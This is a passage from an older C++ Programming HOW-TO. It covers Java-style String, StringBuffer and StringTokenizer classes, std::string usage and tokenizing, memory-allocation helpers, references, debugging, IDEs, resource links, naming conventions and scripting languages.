                int parseInt(String ss) {return ss.toInteger();}
                int parseInt(char *ss)
                        {String tmpstr(ss); return tmpstr.toInteger();}
                long parseLong(String ss) {return ss.parseLong();}
                long parseLong(char *ss)
                        {String tmpstr(ss); return tmpstr.parseLong();}
                float floatValue() {return (float) toDouble(); }
                double doubleValue() {return toDouble(); }
                char * number2string(int bb);  // see also String(int)
                char * number2string(long bb);  // see also String(long)
                char * number2string(unsigned long bb);  // see also String(long)
                char * number2string(double bb);  // see also String(double)

                ///////////////////////////////////////////////
                //              List of duplicate function names
                ///////////////////////////////////////////////
                // char * c_str() // use val()
                // bool find();  // Use regionMatches()
                // bool search();  // Use regionMatches()
                // bool matches(); // Use regionMatches()
                // int rindex(String str2, int startIndex = 0); Use lastIndexOf()
                // String blanks(int slength);  // Use repeat()
                // String append(String str2); // Use concat() or + operator
                // String prepend(String str2);  // Use + operator. See also append()
                // String split(char separator = ' ');  // Use token(), explode() or StringTokenizer class
                bool contains(char *str2, int startIndex = 0); // use indexOf()
                // void empty(); Use is_empty()
                // void vacuum(); Use clear()
                // void erase(); Use clear()
                // void zero(); Use clear()
                // bool is_float(); Use is_numeric();
                // bool is_decimal(); Use is_numeric();
                // bool is_Digit(); Use is_numeric();
                // float float_value(); Use toDouble();
                // float tofloat(); Use toDouble();
                // double double_value(); Use toDouble();
                // double numeric_value(); Use toDouble();
                // int int_value(); Use toInteger()
                // int tonumber(); Use toInteger()
                // String get(); Use substring() or val() but prefer Java's substring
                // String getFrom(); Use substring() or val() but prefer Java's substring
                // String head(int len); Use substring(0, len)
                // String tail(int len); Use substring(length()-len, length())
                // String cut(); Use deleteCharAt() or deleteStr()
                // String cutFrom(); Use deleteCharAt() or deleteStr()
                // String paste(); Use insert()
                // String fill(); Use replace()
                // char firstChar(); // Use substring(0, 1);
                // char lastChar(); // Use substring(length()-1, length());
                // String findNext(); Use token(), explode() or StringTokenizer class

                // begin();  iterator. Use operator [ii]
                // end();  iterator. Use operator [ii]
                // copy();  Use assignment =  operator, String aa = bb;
                // clone();  Use assignment =  operator, String aa = bb;
                // void putCharAt(int where, char ch); Use setCharAt()
                // void replaceCharAt(int where, char ch); Use setCharAt()
                // char getCharAt(int where); Use CharAt()
                // void parseArgs(int where, char ch); Use StringTokensizer class, token() or explode()
                // void truncate(); Use trim(), rtrim(), chop() or chopall()
                // convert number to string notostring(), int2str, long2str Use number2string()

                // All Operators ...
                String operator+ (const String & rhs);
                friend String operator+ (const String & lhs, const String & rhs);

                String& operator+= (const String & rhs); // using reference will be faster
                String& operator= (const String & rhs); // using reference will be faster
                bool operator== (const String & rhs); // using reference will be faster
                bool operator== (const char *rhs);
                bool operator!= (const String & rhs);
                bool operator!= (const char *rhs);
                char operator [] (unsigned long Index) const;
                char& operator [] (unsigned long Index);
                friend ostream &  operator<< (ostream & Out, const String & str2);
                friend istream &  operator>> (istream & In, String & str2);

                bool String::operator< (const char *rhs) const; // handy methods for map & vector:
                bool String::operator< (const String & rhs) const; // handy methods for map & vector:

                //do later: static      list<String>                 explodeH;  // list head

        protected:
                char *sval; // Not safe to make sval public
                void verifyIndex(unsigned long index) const; // not "inline" because MS Win32 complains
                void verifyIndex(unsigned long index, char *aa) const;// not "inline" - MS Win32 complains

                void _str_cat(char bb[]);
                void _str_cat(int bb);
                void _str_cat(unsigned long bb);
                void _str_cat(float bb);

                void _str_cpy(char bb[]);
                void _str_cpy(int bb); // itoa
                void _str_cpy(unsigned long bb);
                void _str_cpy(float bb); // itof

        private:
                // Note: All the private variables and functions begin
                // with _ (underscore)

                //static String *_global_String; // for use in add operator
                //inline void _free_glob(String **aa);

                bool _equalto(const String & rhs, bool type = false);
                bool _equalto(const char *rhs, bool type = false);
                String *_pString;  // temporary pointer for internal use..
                char *_pNumber2String;  // temporary pointer for internal use..
                inline void _allocpString();
                inline void _allocpNumber2String();
                inline void Common2AllCstrs();
                inline void _reverse();
                inline void _deleteCharAt(int loc);
                inline void _deleteStr(int startIndex, int endIndex);
                inline void _trim();
                inline void _ltrim();
                inline void _rtrim();
                inline void _substring(int startIndex, int endIndex);
                void _roundno(double input_dbl, float input_flt, short precision, bool type);
};

// Global variables are defined in String.cpp

#endif // __STRING_H_ALDEV_

6.1 StringBuffer.h

C++ and Java is often used concurrently in many software projects. Programmers jump back and forth between C++ and Java will find this stringbuffer class very helpful.

//
// Author : Al Dev  Email: alavoor[AT]yahoo.com
//

#ifndef __STRINGBUFFER_H_ALDEV_
#define __STRINGBUFFER_H_ALDEV_

// Imitate Java's StringBuffer object
// This class is provided so that the Java code is
// portable to C++, requiring minimum code changes
// Note: While coding in C++ DO NOT use this class StringBuffer,
// this is provided only for compiling code written in Java
// which is cut/pasted inside C++ code.
class StringBuffer: public String
{
        public:
                StringBuffer();
                ~StringBuffer();
                StringBuffer(char *aa);
                StringBuffer(int size);
                StringBuffer(String str);

                int capacity();
                StringBuffer append(String str2);
                        // See also operator +
                        //{ *this += str2; return *this;} // This is causing core dumps...

                StringBuffer append(char *str2);
                StringBuffer append(int bb);
                StringBuffer append(unsigned long bb) ;
                StringBuffer append(float bb) ;
                StringBuffer append(double bb) ;

                StringBuffer insert(int index, String str2);
                StringBuffer insert(int index, char ch);

                StringBuffer reverse();

                // Java's "delete()". Cannot use name delete in C++
                StringBuffer deleteStr(int startIndex, int endIndex);
                StringBuffer deleteCharAt(int loc);

                StringBuffer substring(int startIndex, int endIndex = 0);
                void assign(char *str);

        private:
                StringBuffer *_pStringBuffer;
                inline void allocpStringBuffer();
                inline void Common2AllCstrs();
};

#endif // __STRINGBUFFER_H_ALDEV_

6.2 StringTokenizer.h

C++ and Java is often used concurrently in many software projects. Programmers jump back and forth between C++ and Java will find this stringtokenizer class very helpful.

//
// Author : Al Dev  Email: alavoor[AT]yahoo.com
//

#ifndef __STRINGTOKENIZER_H_ALDEV_
#define __STRINGTOKENIZER_H_ALDEV_

// Imitate Java's StringTokenizer class
// provided to compile Java code in C++ and vice-versa
class StringTokenizer: public String
{
        public:
                StringTokenizer(String str);
                StringTokenizer(String str, String delimiters);
                StringTokenizer(String str, String delimiters, bool delimAsToken);
                ~StringTokenizer();

                int     countTokens();
                bool    hasMoreElements();
                bool    hasMoreTokens();
                String  nextElement(); // in Java returns type 'Object'
                String  nextToken();
                String  nextToken(String delimiters);
        private:
                int             CurrentPosition; // current index on string
                int             TotalTokens;
                int             RemainingTokens;
                char *  ListOfDl; // list of delimiters
                char *  WorkStr; // temp work string
                char *  OrigStr; // original string passed
                bool    DlFlag;  // delimiter flag
                inline  void vPrepWorkStr(char *delimiters = NULL);
};

#endif // __STRINGTOKENIZER_H_ALDEV_


C++ Programming HOW-TO: The Standard C++ Library string class

 Next Previous Contents

7. The Standard C++ Library string class

While the previously mentioned String class (note the uppercase S), is a good thing for people coming from Java, then you should take notice of the "real" string class provided by The Standard C++ Library.

The string class was made to overcome one of the greatest pitfalls in C; character arrays. While character arrays are extremely fast, they have many bad sides. Character arrays is the cause of many bugs, and parsing character arrays is very time consuming.

The string class brings a good interface for parsing and handling strings, and it's even STL compatible, so it can be used with all the general STL algorithms. Actually you could say that a string is a vector<char>. A container of chars, or an advanced array of chars.

Useful string reference can be found at the following sites:

  • SGI STL basic_string reference: http://www.sgi.com/tech/stl/basic_string.html.

7.1 string by example

Creating a string is easy:

#include <string>
#include <iostream>

using namespace std;

int main()
{
    string str("Hello World!"); // Or string str = "Hello World!";
    cout << str << endl;
}

This code will create a string called "str', and put "Hello World!' into it. It is then being outputted to standard output by using cout.

(Note that I will skip the headers and the namespace from now on.)

Taking a substring of a string is also easy:

string str("Hello Universe!");
string start = str.substr(0, 5);
string end = str.substr(5);

This will put the first 6 characters into the string "start", and the rest into "end".

To get the size or length of a string, you would simply do this:

string str("How long is this string?");
cout << "Length of string is: " << str.size() << endl;

You can also use length() which works exactly the same.

7.2 Searching a string

Searching a string is much easier than using plain character arrays, the string class provides efficient member functions to search through the string. All member functions return string::size_type.

string search member functions
Member function | Purpose
find() | find the first position of the specified substring
find_first_of() | equal to find(), but finds the first position of any character specified
find_last_of() | equal to find first of(), but finds the last position of any character specified
find_first_not_of() | equal to find first of(), but returns the position of the first character not of those specifed
find_last_not_of() | equal to find last of(), but returns the last position of any characters not specified
rfind() | equal to find(), but searches backwards

A very common thing to do, is to search a string for contents. This can be done by using find()

string str("Hello, can you find Ben?");
string::size_type position = str.find("Ben");
cout << "First occurence of Ben was found at: " << position << endl;

This code make a case sensitive search for 'Ben' in the string, and put the start position in the variable 'position' of type string::size_type. Note that the return value is not an int, but a string::size_type which is a special implementation defined integral value.

The member function find_first_of() needs a practical introduction, consider this:

string s = "C++ is an impressive language.";
string::size_type pos = s.find_first_of(" .");

while (pos != string::npos) {
    cout << "Found space or dot at: " << pos << endl;
    pos = s.find_first_of(" .", pos + 1);
}

By using find_first_of(), we can search the string for any character of the first argument, here we decide to search for a space or a dot.

Try compiling the program and check the output.

7.3 A string tokenizer

A very common operation with strings, is to tokenize it with a delimiter of your own choice. This way you can easily split the string up in smaller pieces, without fiddling with the find() methods too much. In C, you could use strtok() for character arrays, but no equal function exists for strings. This means you have to make your own. Here is a couple of suggestions, use what suits your best.

The advanced tokenizer:

void Tokenize(const string& str,
                      vector<string>& tokens,
                      const string& delimiters = " ")
{
    // Skip delimiters at beginning.
    string::size_type lastPos = str.find_first_not_of(delimiters, 0);
    // Find first "non-delimiter".
    string::size_type pos     = str.find_first_of(delimiters, lastPos);

    while (string::npos != pos || string::npos != lastPos)
    {
        // Found a token, add it to the vector.
        tokens.push_back(str.substr(lastPos, pos - lastPos));
        // Skip delimiters.  Note the "not_of"
        lastPos = str.find_first_not_of(delimiters, pos);
        // Find next "non-delimiter"
        pos = str.find_first_of(delimiters, lastPos);
    }
}

The tokenizer can be used in this way:

#include <string>
#include <algorithm>
#include <vector>

using namespace std;

int main()
{
    vector<string> tokens;

    string str("Split me up! Word1 Word2 Word3.");

    Tokenize(str, tokens);

    copy(tokens.begin(), tokens.end(), ostream_iterator<string>(cout, ", "));
}

The above code will use the Tokenize function, take the first argument str and split it up. And because we didn't supply a third parameter to the function, it will use the default delimiter " ", that is - a whitespace. All elements will be inserted into the vector tokens we created.

In the end we copy() the whole vector to standard out, just to see the contents of the vector on the screen.

Another approach is to let stringstreams do the work. streams in C++ have the special ability, that they read until a whitespace, meaning the following code works if you only want to split on spaces:

#include <vector>
#include <string>
#include <sstream>

using namespace std;

int main()
{
    string str("Split me by whitespaces");
    string buf; // Have a buffer string
    stringstream ss(str); // Insert the string into a stream

    vector<string> tokens; // Create vector to hold our words

    while (ss >> buf)
        tokens.push_back(buf);
}

And that's it! The stringstream will use the output operator (>>) and put a string into buf everytime a whitespace is met, buf is then used to push_back() into the vector. And afterwards our vector tokens will contain all the words in str.


C++ Programming HOW-TO: File Class

 Next Previous Contents

8. File Class

C++ and Java is often used concurrently in many software projects. Programmers jump back and forth between C++ and Java will find this File class very helpful.

You would use the File class to manipulate the operating system files. This class is an imitation of Java's File class and will be very useful in C++ programming. Using this File class in C++ you can do if file exists() ?, if directory exists() ?, file length() and other functions.

Note that these classes has some great functionality not supported in The Standard C++ Library, but don't confuse them with fstreams(iostreams), which is the way you should perform many other operations on files.

  • C++ File class is at File.h http://www.angelfire.com/country/aldev0/cpphowto/File.h and File.cpp File.cpp click on 'Source code of C++'.
  • Java: Java.io.File class definition http://java.sun.com/j2se/1.3/docs/api/java/io/File.html
  • Quick Reference on File Class http://unicornsrest.org/reference/java/qref11/java.io.File.html


C++ Programming HOW-TO: Memory Allocation in C++

 Next Previous Contents

9. Memory Allocation in C++

In C, you use malloc(), free() and variants of malloc() to allocate and free memory, but these functions have their pitfalls. Therefor C++ introduced operators for handling memory, these operators are called new and delete. These operators allocates and frees memory from the heap (or sometimes called the free store) at runtime.

In C++, you should always use new and delete unless you're really forced to use malloc() and free(). But be aware that you cannot mix the two. You cannot malloc() memory, and then delete it afterwards, likewise you can't "new" memory, and then free it with free().

9.1 C++ Zap (Delete) function

The delete and new operators in C++ are much better than the malloc and free functions of C. Consider using new and zap (delete function) instead of malloc and free as much as possible.

To make delete operators even more cleaner, make a Zap() inline function. Define a zap() function like this:

// Put an assert to check if x is NULL, this is to catch
// program "logic" errors early. Even though delete works
// fine with NULL by using assert you are actually catching
// "bad code" very early

// Defining Zap using templates
// Use zap instead of delete as this will be very clean
template <class T>
inline void zap(T & x)
{
        {assert(x != NULL);}
        delete x;
        x = NULL;
}

// In C++ the reason there are 2 forms of the delete operator is - because
// there is no way for C++ to tell the difference between a pointer to
// an object and a pointer to an array of objects. The delete operator
// relies on the programmer using "[]" to tell the two apart.
// Hence, we need to define zaparr function below.
// To delete array of pointers
template <class T>
inline void zaparr(T & x)
{
         {assert(x != NULL);}
     delete [] x;
     x = NULL;
}

The zap() function will delete the pointer and set it NULL. This will ensure that even if multiple zap()'s are called on the same deleted pointer then the program will not crash. Please see the function zap_example() in example_String.cpp click on 'Source code of C++'.

        // See zap_example() in example_String.cpp
        zap(pFirstname);
        //zap(pFirstname); // no core dumps.  Because pFirstname is NULL now
        //zap(pFirstname); // no core dumps.  Because pFirstname is NULL now

        zap(pLastname);
        zap(pJobDescription);

        int *iiarray = new int[10];
        zaparr(iiarray);

There is nothing magical about this, it just saves repetative code, saves typing time and makes programs more readable. The C++ programmers often forget to reset the deleted pointer to NULL, and this causes annoying problems causing core dumps and crashes. The zap() takes care of this automatically. Do not stick a typecast in the zap() function -- if something errors out on the above zap() function it likely has another error somewhere.

Also my_malloc() , my_realloc() and my_free() should be used instead of malloc(), realloc() and free(), as they are much cleaner and have additional checks. For an example, see the file "String.h" which is using the my_malloc() and my_free() functions.

WARNING : Do not use free() to free memory allocated with 'new' or 'delete' to free memory allocated with malloc. If you do, then results will be unpredictable.

See the zap examples in example_String.cpp click on 'Source code of C++'.

9.2 Usage of my_malloc and my_free

Try to avoid using malloc and realloc as much as possible and use new and zap(delete). But sometimes you may need to use the C style memory allocations in C++. Use the functions my_malloc() , my_realloc() and my_free(). These functions do proper allocations and initialisations and try to prevent memory problems. Also these functions (in DEBUG mode) can keep track of memory allocated and print total memory usage before and after the program is run. This tells you if there are any memory leaks.

The my_malloc and my_realloc is defined as below. It allocates little more memory (SAFE_MEM = 5) and initializes the space and if it cannot allocate it exits the program. The 'call_check(), remove_ptr()' functions are active only when DEBUG_MEM is defined in makefile and are assigned to ((void)0) i.e. NULL for non-debug production release. They enable the total-memory used tracing.

void *local_my_malloc(size_t size, char fname[], int lineno)
{
        size_t  tmpii = size + SAFE_MEM;
        void *aa = NULL;
        aa = (void *) malloc(tmpii);
        if (aa == NULL)
                raise_error_exit(MALLOC, VOID_TYPE, fname, lineno);
        memset(aa, 0, tmpii);
        call_check(aa, tmpii, fname, lineno);
        return aa;
}

char *local_my_realloc(char *aa, size_t size, char fname[], int lineno)
{
        remove_ptr(aa, fname, lineno);
        unsigned long tmpjj = 0;
        if (aa) // aa !=  NULL
                tmpjj = strlen(aa);
        unsigned long tmpqq = size + SAFE_MEM;
        size_t  tmpii = sizeof (char) * (tmpqq);
        aa = (char *) realloc(aa, tmpii);
        if (aa == NULL)
                raise_error_exit(REALLOC, CHAR_TYPE, fname, lineno);

        // do not memset memset(aa, 0, tmpii);
        aa[tmpqq-1] = 0;
        unsigned long kk = tmpjj;
        if (tmpjj > tmpqq)
                kk = tmpqq;
        for ( ; kk < tmpqq; kk++)
                aa[kk] = 0;
        call_check(aa, tmpii, fname, lineno);
        return aa;
}
See my_malloc.cpp. and the header file my_malloc.h. for full implementation of the my_malloc program.

An example on usage of my_malloc and my_free as below:

        char    *aa;
        int     *bb;
        float   *cc;
        aa = (char *) my_malloc(sizeof(char)* 214);
        bb = (int *) my_malloc(sizeof(int) * 10);
        cc = (float *) my_malloc(sizeof(int) * 20);

        aa = my_realloc(aa, sizeof(char) * 34);
        bb = my_realloc(bb, sizeof(int) * 14);
        cc = my_realloc(cc, sizeof(float) * 10);
Note that in my_realloc you do not need to cast the datatype as the variable itself is passed and correct my_realloc is called which returns the proper datatype pointer. The my_realloc has overloaded functions for char*, int* and float*.

9.3 Garbage Collector for C++

In C/C++ Garbage Collection is not a standard feature and hence allocating and freeing storage explicitly is difficult, complicated and is error-prone. The Garbage Collection (GC) is not part of the C++ standard because there are just so many ways how one could implement it; there are many GC techniques, and deciding to use a particular one would not be good for certain programs. Computer scientists had designed many GC algorithms, each one of them catering to a particular problem domain. There is no one single generic GC which will tackle all the problem domains. As a consequence, GC is not part of C++ standard, they just left it out. Still, you always have the choice of many freely available C++ libraries that do the job for you.

Visit these sites:

  • Garbage Collection
  • Memory management
  • Java-like library - Hans-J. Boehm's garbage collector at Hans-Boehm works quite well under linux, solaris and windows.


C++ Programming HOW-TO: Pointers are problems

 Next Previous Contents

10. Pointers are problems

Pointers are not required for general purpose programming. In modern languages like Java there is no support for pointers (Java internally uses pointers). Pointers make the programs messy and programs using pointers are very hard to read.

Avoid using pointers as much as possible and use references. Pointers are really a great pain. It is possible to write an application without using pointers. You should pointers only in those cases where references will not work.

A reference is an alias; when you create a reference, you initialize it with the name of another object, the target. From the moment on, the reference acts as an alternative name of the target, and anything you do to the reference is really done to the target.

Syntax of References: Declare a reference by writing the type, followed by the reference operator (&), followed by the reference name. References MUST be initialized at the time of creation. For example -

        int     weight;
        int     & rweight = weight;

        DOG     aa;
        DOG     & rDogRef = aa;

Do's of references -

  • Do use references to create an alias to an object
  • Do initialize all references
  • Do use references for high efficiency and performance of program.
  • Do use const to protect references and pointers whenever possible.

Do not's of references -

  • IMPORTANT: Don't use references to NULL objects
  • Don't confuse the address of operator & with reference operator. The references are used in the declarations section (see Syntax of References above).
  • Don't try to reassign a reference
  • Don't use pointers if references will work
  • Don't return a reference to a local object
  • Don't pass by reference if the item referred to may go out of scope


C++ Programming HOW-TO: Debugging

 Next Previous Contents

11. Debugging

Finding the exact source to a bug can be a troublesome process, however there is several techniques used for debugging:

  • Printing to standard out - for simple cases, print the values of several variables, see what they contain - and find out where exactly your program crashes
  • Using a debugger, a debugger lets you set breakpoints, and make backtraces in your code, while it's running. Most IDEs come with a debugger, for GNU systems there is gdb.
  • Use compiler features, on most compilers you can enable more warnings, for example on g++, use -Wall

Sites to help debugging:

  • Debugging C and C++ in a UNIX enironment: http://www.liacs.nl/~jdassen/onderwijs/stuva/debug/debug.html
  • MPatrol - a useful memory debugging tool: http://www.cbmamiga.demon.co.uk/mpatrol
  • NJAMD - another useful memory debuggging tool: http://sourceforge.net/projects/njamd/
  • LeakTracer - a simple yet powerful tool to find memory leaks: http://www.andreasen.org/LeakTracer/

11.1 Debug files

To debug any C++ or C programs include the file debug.h and in your 'Makefile' define DEBUG_STR, DEBUG_PRT, DEBUG_MEM to turn on the traces from the debug.h functions. When you remove the '-DDEBUG_STR' etc.. then the debug function calls are set to ((void)0) i.e. NULL, hence it has no impact on final production release version of project. You can generously use the debug functions in your programs and it will not increase the size of production executable.

See the file debug.cpp for implementation of debug routines.

And see the file my_malloc.cpp for a sample which uses debug.h and debug functions.

See the sample Makefile .


C++ Programming HOW-TO: IDE's and editors for C++

 Next Previous Contents

12. IDE's and editors for C++

When programming C++, it is a good idea to used to an editor or an IDE. Most programmers have their own favourites, and it's a religious discussion on which is better.

You can choose to use an IDE (Integrated Development Environment), which is an application with embedded editor, compiler, documentation and more. And then there is the standalone editors, which some people likes better.

12.1 IDE's

The following IDE tools (Integrated Development Environment) are available for C++:

  • The "top rated" Dev-C++ is an full-featured Integrated Development Environment (IDE) for both Win32 and Linux. It uses GCC, Mingw or Cygwin as compiler and libraries set. It is at http://www.bloodshed.net/devcpp.html and at mirror-site
  • KDE KDevelop Kdevelop
  • Blatura site C++ Tools
  • Amulet Amulet
  • App Dev suite Angoss
  • Make replacement Brass
  • S/W product metrics CCC
  • Project mgmt, edit, compile, debug C-Forge
  • Dev environment Code Crusader
  • Graphic gdb Code Medic
  • Code analysis CodeWizard
  • Gen HTML, LaTex for C++ cod Doc C++
  • GUI toolkit openGL Ftk
  • C++ and Java IDE GLG IDE
  • HP IDE HP Eloquence
  • IDE C++, Java, Pascal RHIDE
  • IDE for C++, Java SNiff
  • IDE for C++, Java Wipeout
  • X-based dev env XWPE

12.2 Editors

The problem with IDE's is many times that their editors have a big lack of functionality. Therefor many people wants a powerful editor alone, and then supply with a compiler next to it.

Of powerful editors, vim and emacs can be mentioned. They are both available for most platforms - and they support syntax highlighting and other things which will make you more efficient.

Other editors include UltraEdit(win32 only) and EditPlus(win32 only).

  • Vim online at http://vim.sourceforge.net/
  • Vim color text editor for C++, C http://www.linuxdoc.org/LDP/HOWTO/Vim-HOWTO.html
  • Emacs at http://www.gnu.org/software/emacs/
  • EditPlus for Windows at http://www.editplus.com/
  • UltraEdit for Windows at http://www.ultraedit.com/

12.3 Other ressources

  • C++ Beautifier HOWTO http://www.linuxdoc.org/LDP/HOWTO/C-C++Beautifier-HOWTO.html
  • Source code control system for C++ programs (CVS HOWTO) http://www.linuxdoc.org/LDP/HOWTO/CVS-HOWTO.html
  • Linux goodies main site is at http://www.milkywaygalaxy.freeservers.com Mirror sites are at - angelfire, geocities, virtualave, 50megs, theglobe, NBCi, Terrashare, Fortunecity, Freewebsites, Tripod, Spree, Escalix, Httpcity, Freeservers.


C++ Programming HOW-TO: C++ Online Textbooks and Docs

 Next Previous Contents

13. C++ Online Textbooks and Docs

There are MORE THAN ONE MILLION online articles/textbooks/reference guides on C++ language. That is because C++ is used extensively for a very long period of time. You can find them using the Internet search engines like Google, Yahoo, Lycos, Excite etc..

  • "C++ Annotations" online book main site: Annotations
  • "Teach Yourself C++ in 21 days" online textbook Teach C++
  • C++ Textbook by Bruce Eckel Thinking in C++
  • C++ Open books: Panorama and click on Open Books.
  • "Who's Afraid of C++?" online textbook: Steveheller
  • "Introduction to Object Oriented Programming" an ebook C++ OOP
  • C++ in Hypertext C++ Hypertext
  • Object Oriented Systems OOP article

  • C++ Language Reference from cplusplus.com http://www.cplusplus.com/ref

  • C++ Documentation from cplusplus.com http://www.cplusplus.com

  • Common C++ Pitfalls to be avoided http://www.horstmann.com/cpp/pitfalls.html

  • Porting C++ to Java PortingC
  • C/C++ Journals UtahJournals
  • Yahoo C++ category site CCyahoo
  • C Library Reference Guide c_guide
  • Online textbooks C++/Java FreeLib
  • "C++ In Action" by Bartosz Milewski at http://www.relisoft.com/book/index.htm
  • Amusing examples of how not to write code. "How to write unmaintainable code" at http://mindprod.com/unmain.html

Java books which will be useful for C++ programmers:

  • Great Web reference site WebRef
  • Many Java books JBooks
  • Intro to Java V3.0 JavaNotes mirror JavaNotes
  • Thinking in Java: Thinking Java
  • John Hopkins Univ - Java resources Hall
  • online Java tutorial Chortle
  • Practical guide for Java SunBooks
  • Java Soton

13.1 C++ Sites

Visit the following C++ sites :-

  • C++ STL basic string class documentation is at http://www.sgi.com/tech/stl/basic_string.html.
  • See the section STL References

  • C++ Crash-proof site http://www.troubleshooters.com/codecorn/crashprf.htm
  • C++ Memory site http://www.troubleshooters.com/codecorn/memleak.htm

  • GNU Main site http://www.gnu.org and gnu C++ site at http://gcc.gnu.org
  • AS University C++ Standard String class http://www.eas.asu.edu/~cse200/outline

  • Java JString for C++ http://www.mike95.com/c_plusplus/classes/JString/JString_cpp.asp
  • C++ Language Reference http://www.msoe.edu/~tritt/cpplang.html
  • C++ Program examples and samples http://www.msoe.edu/~tritt/cpp/examples.html
  • Neil's C++ stuff http://www.cyclone7.com/cpp

Internet has vast amounts of documentation on C++. Visit the search engines like Google, Yahoo, Lycos, Infoseek, Excite. Type in the keywords 'C++ tutorials' 'C++ references' 'C++ books' . You can narrow down the search criteria by clicking on Advanced search and select search by exact phrase

  • http://www.google.com
  • http://www.yahoo.com
  • http://www.lycos.com
  • http://www.infoseek.com
  • http://www.excite.com
  • http://www.mamma.com

13.2 C++ Tutorials

There are many on-line tutorials available on internet. Type 'C++ tutorials' in the search engine.

  • C++ Tutorial http://www.xploiter.com/programming/c/index.shtml
  • Cplusplus.com Tutorial http://www.cplusplus.com/doc/tutorial
  • C++ Tutorial IISc, India http://www.csa.iisc.ernet.in/Documentation/Tutorials/StyleGuides/c++-style.html
  • C++ Tutorial Brown Univ http://wilma.cs.brown.edu/courses/cs032/resources/C++tutorial.html
  • C++ Tutorial http://home.msuiit.edu.ph/~ddd/tutorials/cpp/cpplist.htm
  • C++ Tutorial IOstreams http://osiris.sunderland.ac.uk/~cs0pdu/pub/com365/Sched3/iocpp.html

13.3 Useful links

  • Bird's eye view of C++ URLs (about 153 url links) http://www.enteract.com/~bradapp/links/cplusplus-links.html

  • This URL: http://www.snippets.org portable C code contains over 360 files.

  • Mathtools at http://www.mathtools.net is a technical computing portal for all scientific and engineering needs. The portal is free and contains over 20,000 useful links to technical computing programmers, covering C/C++, Java, Excel, MATLAB, Fortran and others.

13.4 C++ Quick-Reference

Type 'C++ Reference' in the search engine.

  • C++ quick ref http://www.cs.jcu.edu.au/~david/C++SYNTAX.html
  • C++ Standard Library Quick Reference http://www.halpernwightsoftware.com/stdlib-scratch/quickref.html
  • C++ STL from halper http://www.halpernwightsoftware.com/stdlib-scratch/quickref.html

13.5 C++ Usenet Newsgroups

  • C++ newsgroups : comp.lang.c++.announce
  • C++ newsgroups : comp.lang.c++.*
  • C++ newsgroups : http://marshall-cline.home.att.net/cpp-faq-lite

13.6 Java like API

Visit the following sites for Java like API for C++

  • Java utils in C++ http://www.pulsar.org/users/ej/archive/oop
  • PhD Thesis book Java API in C++ http://www.pulsar.org/archive/phd/ejphd
  • Java-like library Jakelib at http://www.jakelib.org. The version 2 of Jakelib uses Boehm's gc and is a lot more Java-like. Written by Florian.


C++ Programming HOW-TO: C++ Coding Conventions

 Next Previous Contents

14. C++ Coding Conventions

Coding convention is very essential for readability and maintenance of programs. And it also greatly improves the productivity of the programmer. Coding convention is required for good coding discipline. The following is suggested - inside class definition:

  • All public variables must begin with m like mFooVar. The m stands for member.
  • All protected variables must begin with mt, like mtFooVar and methods with t, like tFooNum(). The t stands for protected.
  • All private variables must begin with mv, like mvFooVar and methods with v, like vFooLone(). The v stands for private.
  • All public, protected and private variables must begin with uppercase after m like F in mFooVar.
  • All pointer variables must be prefixed with p, like
    • Public variables mpFooVar and methods like FooNum()
    • Protected variables mtpFooVar and methods with t like tFooNum()
    • Private variables mvpFooVar and methods with v like vFooNum()
Uniform world-wide coding convention for C++ language will help better programming.

In the sample code given below t stands for protected, v stands for private, m stands for member-variable and p stands for pointer.

class SomeFunMuncho
{
        public:
                int     mTempZimboniMacho; // Only temporary variables should be public as per OOP
                float   *mpTempArrayNumbers;
                int     HandleError();
                float   getBonyBox();  // Public accessor as per OOP design
                float   setBonyBox();  // Public accessor as per OOP design
        protected:
                float   mtBonyBox;
                int     *mtpBonyHands;
                char    *tHandsFull();
                int     tGetNumbers();
        private:
                float   mvJustDoIt;
                char    mvFirstName[30];
                int     *mvpTotalValue;
                char    *vSubmitBars();
                int     vGetNumbers();
};
When your program grows by millions of lines of code, then you will greatly appreciate the naming convention as above. The readability of code improves, because just by looking at the variable name like mvFirstName you can tell that it is member of a class and is a private variable.

Visit the C++ Coding Standards URLs

  • C++ FAQ Lite - Coding standards http://www.parashift.com/c++-faq-lite/coding-standards.html
  • Rice university coding standard http://www.cs.rice.edu/~dwallach/CPlusPlusStyle.html
  • Identifiers to avoid in C++ Programs http://oakroadsystems.com/tech/cppredef.htm
  • Coding standards from Possibility http://www.possibility.com/Cpp/CppCodingStandard.html and mirror site
  • Coding standards for Java and C++ from Ambysoft http://www.ambysoft.com/JavaCodingStandards.html
  • Rules and recommendations http://www.cs.umd.edu/users/cml/cstyle/
  • Indent and annotate http://www.cs.umd.edu/users/cml/cstyle/indhill-annot.html
  • Elemental rules http://www.cs.umd.edu/users/cml/cstyle/Ellemtel-rules.html
  • C++ style doc http://www.cs.umd.edu/users/cml/cstyle/Wildfire-C++Style.html
  • C++ Coding Standards by Brett Scolcum http://www.skypoint.com/~slocum/prog/cppstds.html
  • Logikos C++ Coding Standards http://www.logikos.com/standards/cpp_std.html
  • NRad C++ coding standards http://cadswes.colorado.edu/~billo/standards/nrad
  • BEJUG C++ coding standards http://www.meurrens.org/ip-Links/java/joodcs/ToddHoff.html
  • Arctic Labs coding standards http://www.arcticlabs.com/codingstandards

    See also

  • For rapid navigation with ctags Vim color text editor
  • To improve productivity see C++ Beautifier HOWTO


C++ Programming HOW-TO: C++ Scripting Languages

 Next Previous Contents

15. C++ Scripting Languages

The major disadvantage of C++ is that you must recompile and link the object files to create an executable anytime you make a small change. The compile/link/debug cycles take away a lot of time and is quite unproductive. Since modern CPU's and RAM are becoming extremely fast and cheap, it is sometimes better to spend more money on hardware and use scripting languages for development.

15.1 PIKE & PHP (C/C++ Scripting Languages)

The scripting languages like PHP or PIKE eliminates the linking and re-compiling and will really speed up the development process.

As memory (RAM) prices are dropping and CPU speeds are increasing, scripting languages like PHP or PIKE will EXPLODE in popularity. PHP or PIKE will become most widely used scripting language as it is object oriented and it's syntax is very identical to that of C/C++.

Programming productivity will increase by five times by using the PHP or Pike C++ scripting language. And PHP or PIKE is very useful for 'proof of concept' and developing prototypes rapidly.

PHP is exploding in popularity for general purpose programming and for web development. PHP may become the most widely used scripting language in near future. PHP is at http://www.linuxdoc.org/HOWTO/PHP-HOWTO.html.

The Pike is at http://pike.roxen.com and at http://www.roxen.com.

The Roxen Web server is completely written in Pike, which demonstrates how powerful Pike is. Pike runs much faster than Java for some operations and is quite efficient in using memory resources.

15.2 SoftIntegration Ch (C/C++ Scripting Language)

If you want commercial scripting language, get the 'Ch scripting' product from SoftIntegration corporation at http://www.softintegration.com.

